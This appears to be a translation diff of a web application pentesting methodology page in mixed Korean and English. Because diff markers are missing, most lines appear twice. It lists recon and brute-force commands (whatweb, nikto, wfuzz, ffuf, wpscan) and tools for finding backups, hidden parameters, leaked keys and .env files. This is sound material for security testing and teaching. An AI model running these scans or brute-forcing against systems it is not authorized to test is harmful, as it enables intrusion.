응답의 **HTTP headers and cookies of the response**는 사용 중인 **technologies** 및/또는 **version**을 **identify**하는 데 매우 유용할 수 있습니다. **Nmap scan**은 서버 버전을 식별할 수 있지만, [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech**](https://github.com/ShielderSec/webtech) 또는 [**https://builtwith.com/**](https://builtwith.com)**와 같은 도구들도 유용할 수 있습니다:**
```bash
whatweb -a 1 <URL> #Stealthy
whatweb -a 3 <URL> #Aggresive
@ -57,15 +57,15 @@ webanalyze -host https://google.com -crawl 2
```
Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
### **WAF가 있는지 확인**
### **WAF가 있는지 확인하기**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
### 웹 기술 트릭
### Web tech tricks
사용 중인 다양한 잘 알려진 **technologies**에서 **finding vulnerabilities**를 위한 몇 가지 **tricks**:
사용 중인 다양한 잘 알려진 **기술**에서 **취약점 찾기**를 위한 몇 가지 **트릭**:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@ -102,20 +102,19 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Sitecore**](sitecore/index.html)
_다음을 고려하세요: **same domain**은 서로 다른 **ports**, **folders**, **subdomains**에서 **different technologies**를 사용할 수 있습니다._\
웹 애플리케이션이 앞서 나열된 잘 알려진 **tech/platform listed before** 또는 **any other**를 사용하고 있다면, 새로운 트릭을 인터넷에서 검색하는 것을 잊지 마세요(그리고 알려주세요!).
_같은 도메인이 서로 다른 **포트**, **폴더**, **서브도메인**에서 **다른 기술**을 사용하고 있을 수 있음을 고려하세요._\
웹 애플리케이션이 앞서 나열된 잘 알려진 **tech/platform listed before** 또는 **any other**를 사용하고 있다면, 새로운 트릭을 인터넷에서 반드시 검색하세요(그리고 알려주세요!).
### 소스 코드 리뷰
애플리케이션의 **source code**가 **github**에 공개되어 있다면, 자체적으로 **White box test**를 수행하는 것 외에도 현재의 **Black-Box testing**에 유용할 수 있는 **some information**이 있습니다:
- 웹에서 접근 가능한 **Change-log or Readme or Version** 파일이나 **version info accessible**가 있나요?
- **credentials**는 어떻게 어디에 저장되나요? 자격 증명(사용자명 또는 비밀번호)이 포함된 (접근 가능한?) **file**이 있나요?
- **passwords**는 **plain text**, **encrypted** 상태인가요, 아니면 어떤 **hashing algorithm**이 사용되나요?
- 무언가를 암호화하기 위해 **master key**를 사용하나요? 어떤 **algorithm**이 사용되나요?
- 어떤 취약점을 이용해 이러한 **files** 중 하나에 **access any of these files** 할 수 있나요?
- **github**의 **issues**(해결된 것과 해결되지 않은 것)에 흥미로운 정보가 있나요? 또는 **commit history**(예: 오래된 커밋에 **password introduced inside an old commit**가 포함되어 있을 수 있음)에는요?
앱의 **source code**가 **github**에 공개되어 있다면, 애플리케이션에 대해 직접 **White box test**를 수행하는 것 외에도 현재의 **Black-Box testing**에 **유용한** 몇 가지 정보가 있을 수 있습니다:
- 웹에서 접근 가능한 **Change-log or Readme or Version** 파일이나 **version info accessible** 같은 것이 있는가?
- **credentials**는 어떻게 어디에 저장되어 있는가? (접근 가능한) **file**에 credentials(사용자명 또는 비밀번호)가 있는가?
- **passwords**가 **plain text**로 되어 있는가, **encrypted** 되어 있는가, 아니면 어떤 **hashing algorithm**이 사용되는가?
- 뭔가를 암호화하기 위해 **master key**를 사용하고 있는가? 어떤 **algorithm**이 사용되는가?
- 어떤 취약점을 악용하여 이러한 **files**에 접근할 수 있는가?
- **interesting information in the github**(해결된 것과 해결되지 않은 것 모두)이 **issues**에 있는가? 또는 **commit history**에 있는가(예: 오래된 커밋에 **password introduced inside an old commit**)?
{{#ref}}
code-review-tools.md
@ -123,7 +122,7 @@ code-review-tools.md
### 자동 스캐너
#### General purpose automatic scanners
#### 범용 자동 스캐너
```bash
nikto -h <URL>
whatweb -a 4 <URL>
@ -137,12 +136,12 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMS 스캐너
CMS를 사용하는 경우 **스캐너를 실행하세요**, 의심할 만한 유용한 결과가 발견될 수 있습니다:
CMS를 사용 중이라면 **스캐너를 실행하세요**, 의외로 흥미로운 결과가 나올 수 있습니다:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** 웹사이트의 보안 문제 검사. (GUI)\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** 웹사이트의 보안 문제를 탐지합니다. (GUI)\
[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\
**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **또는** [**(M)oodle**](moodle.md)\
[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
```bash
cmsmap [-f W] -F -d <URL>
@ -150,15 +149,15 @@ wpscan --force update -e --url <URL>
joomscan --ec -u <URL>
joomlavs.rb #https://github.com/rastating/joomlavs
```
> 이 시점에서는 이미 클라이언트가 사용하는 웹 서버에 대한 일부 정보(주어졌다면)와 테스트 중에 유의할 몇 가지 요령을 가지고 있어야 합니다. 운이 좋다면 CMS를 찾고 스캐너를 돌렸을 수도 있습니다.
> 이 시점에서 이미 클라이언트가 사용 중인 웹 서버에 대한 일부 정보(데이터가 제공된 경우)와 테스트 중 유의할 트릭들을 가지고 있어야 합니다. 운이 좋다면 CMS를 발견하고 스캐너를 실행했을 수도 있습니다.
## 단계별 웹 애플리케이션 발견
## 단계별 Web Application 발견
> 이제부터 웹 애플리케이션과 상호작용을 시작합니다.
### 초기 점검
**유용한 정보가 있는 기본 페이지:**
**흥미로운 정보를 담고 있는 기본 페이지:**
- /robots.txt
- /sitemap.xml
@ -167,28 +166,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs
- /.well-known/
- 메인 및 보조 페이지의 주석도 확인하세요.
**오류 유**
**오류 유**
이상한 데이터를 전송하면 웹 서버가 **예상치 못하게 동작할 수** 있습니다. 이는 **취약점**을 유발하거나 **민감한 정보 노출**로 이어질 수 있습니다.
웹 서버는 이상한 데이터를 전송했을 때 **예상치 못하게 동작**할 수 있습니다. 이는 **취약점**을 열어주거나 **민감한 정보 노출**을 유발할 수 있습니다.
- /whatever_fake.php (.aspx,.html,.etc) 같은 **가짜 페이지**에 접근
- 오류를 만들기 위해 **쿠키 값** 및 **파라미터 값**에 "\[]", "]]", "\[[" 추가
- **URL**의 **끝**에 **`/~randomthing/%s`** 같은 입력을 주어 오류 생성
- PATCH, DEBUG 같은 다양한 **HTTP Verbs**를 시도하거나 FAKE 같은 잘못된 verb 시도
- **"\[]", "]]", 및 "\[["** 를 **cookie values** 및 **parameter values**에 추가하여 오류 생성
- **URL**의 **끝**에 **`/~randomthing/%s`** 같은 입력을 줘서 오류 생성
- PATCH, DEBUG 같은 **다른 HTTP Verbs**를 시도하거나 FAKE 같은 잘못된 것 시도
#### **파일 업로드 가능 여부 확인 (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
#### **파일 업로드 가능 여부 확인하기 (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
**WebDav**가 **활성화**되어 있지만 루트 폴더에 **파일 업로드** 권한이 충분하지 않은 경우 다음을 시도하세요:
WebDav가 **활성화되어 있지만** 루트 폴더에 **uploading files** 권한이 없다면 다음을 시도하세요:
- **Brute Force**로 자격증명 시도
- WebDav를 이용해 웹 페이지 내부에 발견된 다른 폴더들에 **파일 업로드** 시도. 다른 폴더에는 업로드 권한이 있을 수 있습니다.
- **Brute Force**로 자격증명 공격
- WebDav를 통해 웹 페이지 내에서 발견된 **다른 폴더들(rest of found folders)**에 **Upload files**. 다른 폴더에는 업로드 권한이 있을 수 있습니다.
### **SSL/TLS 취약점**
- 애플리케이션이 어느 부분에서도 HTTPS 사용을 **강제하지 않으면**, MitM에 취약합니다.
- 애플리케이션이 **민감한 데이터(비밀번호)를 HTTP로 전송**하면 높은 심각도의 취약점입니다.
- 애플리케이션이 어느 부분에서도 **HTTPS 사용을 강제하지 않으면**, MitM에 취약합니다.
- 애플리케이션이 **HTTP**로 민감한 데이터(비밀번호)를 전송하면 심각한 취약점입니다.
취약점 점검을 위해 [**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용하세요 (Bug Bounty 프로그램에서는 이러한 종류의 취약점이 수용되지 않을 수 있습니다). 취약점을 재확인하려면 [**a2sv**](https://github.com/hahwul/a2sv)를 사용하세요:
[**testssl.sh**](https://github.com/drwetter/testssl.sh)를 사용**취약점**을 확인하고 (Bug Bounty 프로그램에서는 이러한 유형의 취약점이 인정되지 않는 경우가 많습니다) [**a2sv**](https://github.com/hahwul/a2sv)를 사용해 취약점을 재검토하세요:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@ -204,53 +203,53 @@ Information about SSL/TLS vulnerabilities:
### Spidering
웹 내부에서 어떤 형태의 **spider**를 실행하세요. **spider**의 목적은 테스트 대상 애플리케이션에서 가능한 한 많은 경로를 찾는 것입니다. 따라서 웹 크롤링과 외부 소스를 사용해 가능한 많은 유효한 경로를 확보해야 합니다.
웹 내부에 어떤 형태든 **spider**를 실행하세요. spider의 목표는 테스트 중인 애플리케이션에서 가능한 한 많은 경로를 **찾는 것**입니다. 따라서 웹 크롤링과 외부 소스를 사용해 가능한 많은 유효한 경로를 찾아야 합니다.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS 파일 내 LinkFinder 및 외부 소스(Archive.org, CommonCrawl.org, VirusTotal.com)를 사용합니다.
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS 파일용 LinkFinder와 Archive.org를 외부 소스로 사용합니다.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider로 "juicy files"를 표시합니다.
- [**evine** ](https://github.com/saeeddhqan/evine)(go): 대화형 CLI HTML spider. Archive.org에서도 검색합니다.
- [**meg**](https://github.com/tomnomnom/meg) (go): 이 도구는 strict한 의미의 spider는 아니지만 유용합니다. hosts 파일과 paths 파일을 지정하면 meg가 각 호스트의 각 경로를 가져와 응답을 저장합니다.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS 렌더링 기능이 있는 HTML spider. 다만 유지보수가 되지 않는 것처럼 보이며, 사전 컴파일된 버전은 오래되었고 현재 코드는 컴파일되지 않습니다.
- [**gau**](https://github.com/lc/gau) (go): wayback, otx, commoncrawl 같은 외부 제공자를 사용하는 HTML spider입니다.
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 파라미터가 있는 URL을 찾아 나열하는 스크립트입니다.
- [**galer**](https://github.com/dwisiswant0/galer) (go): JS 렌더링 기능이 있는 HTML spider입니다.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): JS 파일에서 새 경로를 찾을 수 있는 JS beautify 기능을 갖춘 HTML spider. LinkFinder의 래퍼인 [JSScanner](https://github.com/dark-warlord14/JSScanner)도 살펴볼 가치가 있습니다.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): HTML 소스와 임베디드 자바스크립트 파일에서 엔드포인트를 추출합니다. 버그 헌터, 레드팀, 인포섹 전문가에게 유용합니다.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado와 JSBeautifier를 사용해 JavaScript 파일에서 상대 URL을 파싱하는 파이썬 2.7 스크립트입니다. AJAX 요청을 쉽게 발견하는 데 유용합니다. 유지보수되지 않는 것으로 보입니다.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): HTML 파일을 입력하면 정규식을 사용해 난독화(압축)된 파일에서 상대 URL을 추출합니다.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): 여러 도구를 사용해 JS 파일에서 흥미로운 정보를 수집합니다.
- [**subjs**](https://github.com/lc/subjs) (go): JS 파일을 찾습니다.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 헤드리스 브라우저로 페이지를 로드하고 페이지를 로드하는 데 사용된 모든 URL을 출력합니다.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 이전 도구들의 여러 옵션을 혼합한 콘텐츠 발견 도구입니다.
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS 파일에서 경로와 파라미터를 찾는 Burp 확장입니다.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL이 주어지면 beautified JS 코드를 가져오는 도구입니다.
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 주어진 대상의 엔드포인트를 발견하는 도구입니다.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback Machine에서 링크를 발견하고(응답을 다운로드하고 더 많은 링크를 찾음) 수집합니다.
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 폼 채우기까지 포함한 크롤링을 수행하고 특정 정규식으로 민감한 정보를 찾아냅니다.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): 사이버 보안 전문가용으로 설계된 고급 다기능 GUI 웹 보안 크롤러/스파이더입니다.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript 소스 코드에서 URL, 경로, 비밀 및 기타 흥미로운 데이터를 추출하는 Go 패키지이자 [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice)입니다.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): 요청에서 파라미터와 엔드포인트를 추출하여 fuzzing 및 열거용 커스텀 워드리스트를 생성하는 간단한 **Burp Suite extension**입니다.
- [**katana**](https://github.com/projectdiscovery/katana) (go): 이 목적에 아주 좋은 도구입니다.
- [**Crawley**](https://github.com/s0rg/crawley) (go): 찾을 수 있는 모든 링크를 출력합니다.
- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com).
- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source.
- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, also indicates "juicy files".
- [**evine** ](https://github.com/saeeddhqan/evine)(go): Interactive CLI HTML spider. It also searches in Archive.org
- [**meg**](https://github.com/tomnomnom/meg) (go): This tool isn't a spider but it can be useful. You can just indicate a file with hosts and a file with paths and meg will fetch each path on each host and save the response.
- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): HTML spider with JS rendering capabilities. However, it looks like it's unmaintained, the precompiled version is old and the current code doesn't compile
- [**gau**](https://github.com/lc/gau) (go): HTML spider that uses external providers (wayback, otx, commoncrawl)
- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): This script will find URLs with parameter and will list them.
- [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider with JS rendering capabilities.
- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, with JS beautify capabilities capable of search new paths in JS files. It could be worth it also take a look to [JSScanner](https://github.com/dark-warlord14/JSScanner), which is a wrapper of LinkFinder.
- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): To extract endpoints in both HTML source and embedded javascript files. Useful for bug hunters, red teamers, infosec ninjas.
- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): A python 2.7 script using Tornado and JSBeautifier to parse relative URLs from JavaScript files. Useful for easily discovering AJAX requests. Looks like unmaintained.
- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Given a file (HTML) it will extract URLs from it using nifty regular expression to find and extract the relative URLs from ugly (minify) files.
- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Gather interesting information from JS files using several tools.
- [**subjs**](https://github.com/lc/subjs) (go): Find JS files.
- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Load a page in a headless browser and print out all the urls loaded to load the page.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Content discovery tool mixing several options of the previous tools
- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): A Burp extension to find path and params in JS files.
- [**Sourcemapper**](https://github.com/denandz/sourcemapper): A tool that given the .js.map URL will get you the beatified JS code
- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): This is a tool used to discover endpoints for a given target.
- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Discover links from the wayback machine (also downloading the responses in the wayback and looking for more links
- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl (even by filling forms) and also find sensitive info using specific regexes.
- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite is an advance multi-feature GUI web security Crawler/Spider designed for cyber security professionals.
- [**jsluice**](https://github.com/BishopFox/jsluice) (go): It's a Go package and [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.
- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge is a simple **Burp Suite extension** to **extract the paramters and endpoints** from the request to create custom wordlist for fuzzing and enumeration.
- [**katana**](https://github.com/projectdiscovery/katana) (go): Awesome tool for this.
- [**Crawley**](https://github.com/s0rg/crawley) (go): Print every link it's able to find.
### Brute Force directories and files
루트 폴더에서 **brute-forcing**을 시작하고, 이 방법으로 발견된 모든 디렉터리와 **Spidering**으로 발견된 모든 디렉터리를 반드시 brute-force 하세요(이 과정을 재귀적으로 수행하고, 사용 중인 워드리스트 앞부분에 발견한 디렉터리 이름을 추가할 수 있습니다).
루트 폴더에서 **brute-forcing**을 시작하고, **이 방법**으로 찾은 모든 디렉토리와 Spidering으로 **발견된 모든 디렉토리**를 반드시 brute-force하세요 (이 과정을 **재귀적으로** 수행하고 사용한 wordlist의 앞부분에 발견한 디렉토리 이름을 추가하면 됩니다).\
도구:
- **Dirb** / **Dirbuster** - Kali에 포함되어 있으며 **old**(그리고 **slow**)하지만 동작합니다. 자체 서명된 인증서를 허용하고 재귀 검색을 지원합니다. 다른 옵션들에 비해 너무 느립니다.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 자체 서명된 인증서를 허용하지 않지만** 재귀 검색을 지원합니다.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): 자체 서명된 인증서를 허용하며, **recursive** 검색은 지원하지 않습니다.
- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
- [**Gobuster**](https://github.com/OJ/gobuster) (go): It allows auto-signed certificates, it **doesn't** have **recursive** search.
- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
- [**uro**](https://github.com/s0md3v/uro) (python): 발견된 URL 목록을 입력하면 "중복" URL을 제거하는 도구입니다.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp 히스토리에서 여러 페이지의 디렉터리 목록을 생성하는 Burp Extension입니다.
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js 임포트를 기반으로 중복 기능을 가진 URL을 제거합니다.
- [**Chamaleon**](https://github.com/iustin24/chameleon): Wappalyzer를 사용하여 사용된 기술을 감지하고 적절한 워드리스트를 선택합니다.
- [**uro**](https://github.com/s0md3v/uro) (python): This isn't a spider but a tool that given the list of found URLs will to delete "duplicated" URLs.
- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension to create a list of directories from the burp history of different pages
- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Remove URLs with duplicated functionalities (based on js imports)
- [**Chamaleon**](https://github.com/iustin24/chameleon): It uses wapalyzer to detect used technologies and select the wordlists to use.
추천 워드리스트:
**Recommended dictionaries:**
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@ -269,41 +268,41 @@ Information about SSL/TLS vulnerabilities:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_새 디렉터리가 brute-forcing 또는 spidering 중에 발견되면, 언제나 해당 디렉터리를 Brute-Force해야 합니다._
_새 디렉토리가 brute-forcing 또는 spidering 도중 발견되면, 그 디렉토리도 항상 Brute-Forced 해야 합니다._
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML 내부의 끊어진 링크를 찾아 takeover에 취약할 수 있는지를 확인합니다.
- **File Backups**: 모든 파일을 찾은 후에는 실행 파일의 백업(예: "_.php_", "_.aspx_" ...)을 찾아보세요. 백업 이름의 흔한 변형에는 _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp, file.old_ 등이 있습니다. 도구 [**bfac**](https://github.com/mazen160/bfac) 또는 [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)을 사용할 수도 있습니다.
- **Discover new parameters**: 숨겨진 파라미터를 발견하려면 [**Arjun**](https://github.com/s0md3v/Arjun), [**parameth**](https://github.com/maK-/parameth), [**x8**](https://github.com/sh1yo/x8) 및 [**Param Miner**](https://github.com/PortSwigger/param-miner) 같은 도구를 사용할 수 있습니다. 가능하다면 각 실행 가능한 웹 파일에서 숨겨진 파라미터를 찾아보세요.
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML 내부의 깨진 링크를 찾아 takeover에 취약할 수 있는 부분을 식별합니다.
- **File Backups**: 모든 파일을 찾은 후에는 실행 파일들의 백업(예: "_.php_", "_.aspx_"...)을 찾아보세요. 백업 파일명으로 흔히 사용되는 변형은: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ 또한 [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)를 사용할 수 있습니다.
- **Discover new parameters**: 숨겨진 파라미터를 찾기 위해 [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **** [**Param Miner**](https://github.com/PortSwigger/param-miner) 같은 도구를 사용할 수 있습니다. 가능하다면 각 실행 가능한 웹 파일에서 숨겨진 파라미터를 찾아보세요.
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **Comments:** 모든 파일의 주석을 확인하세요. 주석에서 **credentials**나 숨겨진 기능을 찾을 수 있습니다.
- CTF를 진행 중이라면 흔한 트릭으로 페이지 소스 우측에 수백 개의 공백을 넣어 주석에 정보를 숨기거나 여러 개의 줄바꿈을 사용해 페이지 하단의 주석에 정보를 숨기는 방식이 있습니다.
- **API keys**: API 키를 발견하면 다양한 플랫폼의 API 키 사용법을 확인할 수 있는 가이드들이 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks), [**zile**](https://github.com/xyele/zile.git), [**truffleHog**](https://github.com/trufflesecurity/truffleHog), [**SecretFinder**](https://github.com/m4ll0k/SecretFinder), [**RegHex**](<https://github.com/l4yton/RegHex)/>), [**DumpsterDive**](https://github.com/securing/DumpsterDiver), [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: **AIza**로 시작하는 API 키(예: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik)를 발견하면 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 프로젝트를 사용해 해당 키로 접근 가능한 API를 확인할 수 있습니다.
- **S3 Buckets**: spidering 중 하위 도메인이나 링크가 S3 버킷과 관련되어 있는지 확인하세요. 그런 경우 [**check** the **permissions** of the bucket](buckets/index.html).
- **Comments:** 모든 파일의 주석을 확인하세요. 주석에서 **credentials**나 **hidden functionality**를 찾을 수 있습니다.
- 만약 **CTF**를 진행 중이라면, 흔한 트릭으로 페이지의 **오른쪽**에 수백 개의 **공백**을 넣어 브라우저로 소스 코드를 열었을 때 보이지 않게 정보를 **주석**으로 숨기거나, 여러 개의 줄바꿈을 사용해 페이지 하단의 주석에 정보를 숨기는 방식이 있습니다.
- **API keys**: API 키를 찾으면 다양한 플랫폼의 API 키 사용 방법을 안내하는 프로젝트들을 참고하세요: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: **AIza**로 시작하는 API 키(예: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik)를 찾으면 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)를 사용해 해당 키가 접근 가능한 API를 확인할 수 있습니다.
- **S3 Buckets**: spidering 중에 어떤 **subdomain**이나 **link**가 S3 bucket과 관련되어 있는지 확인하세요. 그런 경우 [**check** the **permissions** of the bucket](buckets/index.html).
### Special findings
**spidering**과 **brute-forcing**을 수행하는 동안 **주의해야 할 흥미로운 항목**을 발견할 수 있습니다.
**spidering**과 **brute-forcing**을 수행하는 동안 **주의**해야 할 **흥미로운** 항목들이 발견될 수 있습니다.
**Interesting files**
- CSS 파일 내부의 다른 파일로의 **links**를 찾아보세요.
- [If you find a _**.git**_ file some information can be extracted](git.md)
- _**.env**_ 파일을 찾으면 API 키, DB 비밀번호 등 다양한 정보가 포함되어 있을 수 있습니다.
- **API endpoints**를 찾으면 [should also test them](web-api-pentesting.md). 이들은 파일이 아니지만 파일처럼 보일 수 있습니다.
- **JS files**: spidering 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구를 언급했습니다. 또한 발견된 각 JS 파일을 모니터링하는 것이 좋습니다. 경우에 따라 파일 변경은 잠재적 취약점이 코드에 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)을 사용할 수 있습니다.
- 발견한 JS 파일을 [**RetireJS**](https://github.com/retirejs/retire.js/) 또는 [**JSHole**](https://github.com/callforpapers-source/jshole)로 검사해 취약성이 있는지 확인하세요.
- CSS 파일 내부의 **links**로 연결된 다른 파일들을 찾아보세요.
- [_**.git**_ 파일을 찾으면 일부 정보를 추출할 수 있습니다](git.md)
- _**.env**_ 파일을 찾으면 API 키, DB 패스워드 등 여러 정보를 얻을 수 있습니다.
- **API endpoints**를 찾으면 해당 엔드포인트들도 [테스트해야 합니다](web-api-pentesting.md). 이들은 파일은 아니지만 파일처럼 보일 가능성이 높습니다.
- **JS files**: spidering 섹션에서 JS 파일에서 경로를 추출하는 여러 도구를 언급했습니다. 또한 발견한 각 JS 파일을 **모니터링**하는 것이 좋습니다. 일부 경우 코드 변경이 잠재적 취약점의 도입을 의미할 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)을 사용할 수 있습니다.
- 발견한 JS 파일을 [**RetireJS**](https://github.com/retirejs/retire.js/) 또는 [**JSHole**](https://github.com/callforpapers-source/jshole)로 검사해 취약한 라이브러리가 있는지 확인하세요.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
